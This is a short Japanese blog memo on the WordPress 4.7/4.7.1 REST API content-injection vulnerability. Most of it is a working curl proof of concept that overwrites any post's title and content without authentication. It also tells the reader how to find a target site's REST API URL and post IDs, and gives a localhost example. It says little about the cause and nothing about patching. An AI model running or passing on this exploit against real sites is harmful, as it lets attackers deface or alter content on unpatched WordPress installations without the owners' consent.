WordPress Rest API の脆弱性

むか~し流行った(?)WordPress本体の脆弱性。備忘録程度にまとめます。

対象はversion 4.7 と 4.7.1 。 PoCは以下の通りです(やり方は色々ありますが、ここでは簡単なcurlコマンドでの方法を)。

curl -d "title=hoge" -d "content=foobar" http(s)://[REST API のURL]/wp/v2/posts/[投稿id]/?id=[投稿id+英字]

これだけ。

title=には記事のタイトル、content=には記事の内容をそれぞれ好きなように書く。

[REST API の URL]は、攻撃対象のページのソースに書いてあるはずなので探して下さいな。
<link rel='https://api.w.org/' href='http://[*ここに書いてあるアドレス*]' />

[投稿id]は、各投稿に付与されるidで、投稿一覧の記事タイトルにカーソルを合わせると、ブラウザの下の方にURLが表示され、post=後ろの数字が投稿idに該当する。

[投稿id+英字]は、上の投稿idの直後に適当にアルファベットを付け加える。

以上をxamppで試すと以下のコマンドになる。

curl -d "title=hoge" -d "content=foobar" http://localhost/wordpress/wp-json/wp/v2/posts/1/?id=1A

試してみたい方はぜひご自分の環境で。。。

とまあ、これだけ見ると超簡単だし、事前準備等いらないし、かなりヤバイですねぇ~。

原因に関しては実装に色々問題があったわけですが、そのへんは他のサイトを見てください。

それではノシ

 

【参考文献】

1) WordPress 4.7.1 の権限昇格脆弱性について検証した

2) WordPress 4.7/4.7.1 の Content Injection の脆弱性を確認する